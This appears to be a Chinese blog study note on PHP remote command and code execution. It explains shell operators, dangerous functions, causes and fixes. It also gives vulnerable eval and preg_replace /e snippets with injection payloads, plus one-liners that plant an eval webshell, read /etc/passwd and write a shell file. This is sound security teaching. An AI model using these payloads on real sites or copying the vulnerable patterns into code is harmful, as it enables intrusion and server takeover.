• 8、命令执行与代码执行


    8 RCE

    (remote command/code execute) 远程系统命令执行、远程代码执行

    远程命令执行

     系统函数实现远程命令执行

    命令执行符号:

          短路与&&:前者为真,才执行后边;前边为假,都不执行

          逻辑与 &:无论前边真假,都执行

          短路或 ||:前者为真,后者不执行;前者为假,后者执行

          逻辑或  |:无论前边真假,都执行

    成因

          应用调用函数执行系统命令时,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行漏洞。

     

    漏洞危害

          ·继承web服务器程序的权限执行系统命令、读写文件

          ·反弹shell

          ·控制整个网站

    相关函数

     PHP中可调用外部程序的常见函数

          system(args)(有回显)

          passthru(args)(有回显)

          exec(args)(回显最后一行,必须echo输出)

    shell exec(args)(无回显,必须输出)

    `` 反引号

    popen(handle,mode)(无回显)

    proc open(‘cmd’,’flag’,’flag’)(无回显)

    修复方案/防御方法

          能用脚本解决的工作,不调用其他程序处理,尽量少用执行命令的函数,并在disable_functions中禁用

          进入命令执行的函数或者方法之前,对参数进行过滤

          参数的值尽量用引号包裹(单引号变量不解析),并在拼接前调用addslashes进行转义

    远程代码执行

    成因

          应用在调用能将字符串转换成代码的函数式,没有考虑用户能否控制字符串,造成代码执行漏洞。

    PHP允许命令执行的函数

          eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()等

    注:

    eval()函数正确执行需要满足php的代码规范,而assert()函数对于php的代码规范要求不高

    在php5.4及以下版本中,preg_replace()可正常执行代码,而在php5.5及后续版本中会提醒"/e"修饰符已被弃用,要求用preg_replace_callback()函数来代替

    危害

          执行任意代码、向网站写webshell、控制整个网站甚至服务器

    漏洞利用

    利用1

    <?php
    
    $data = $_GET['data'];
    
    eval("$ret = $data;");
    
    echo $ret;
    
    ?>
    
    ?data=1;phpinfo()

    利用2

    <?php
    
    //关闭魔术方法
    
    $data = $_GET['data'];
    
    eval("$ret = strtolower('$data');");
    
    echo $ret;
    
    ?>
    
    ?data=1');phpinfo();//

    利用3

    <?php
    
    $data=$_GET['data'];
    
    eval("$ret = strtolower("$data");");
    
    echo $ret;
    
    ?>
    
    ?data=“);phpinfo();//

    利用4(PHP5.5以上)

    <?php
    
    $data = $_GET['data'];
    
    echo $data;
    
    preg_replace('/<data>(.*)</data>/e','$ret="\1";',$data);
    
    echo $ret;
    
     ?>
    
    ?data=<data>${phpinfo()}</data>

    相关操作

          {${@eval($_POST[1])}}  一句话

          {${exit(print(getcwd()))}}  获取当前路径

          {${exit(var_dump(file_get_contents($_POST[f])))}}  读文件  f=/etc/passwd

          {${exit(var_dmp(file_put_contents($_POST[f],$_POST[d])))}} 写shell  f=1.php&d=1111

    修复方案

          保证用户不能轻易接触eval()函数的参数或者用正则严格判断输入的数据格式

          字符串使用单引号包裹,并在插入前进行addslashes()

          对preg_replace()放弃使用e修饰符,保证第二个参数中对于正则匹配出的对象,用单引号包裹

  • 相关阅读:
    使用iText 7读取PDF文件中的文本和图片
    登记或取消登记盈亏库存日记账行数量
    uni-app(未完)
    javaScript的基本优雅写法
    ModuleFederation-模块联邦
    typescript
    img标签src图片路径根目录问题
    开源工具分享
    软件缺陷的度量、分析和统计
    MIT6.824 2020 Lab2 A Raft Leader Election
  • 原文地址:https://www.cnblogs.com/guike/p/11188562.html
Copyright © 2020-2023  润新知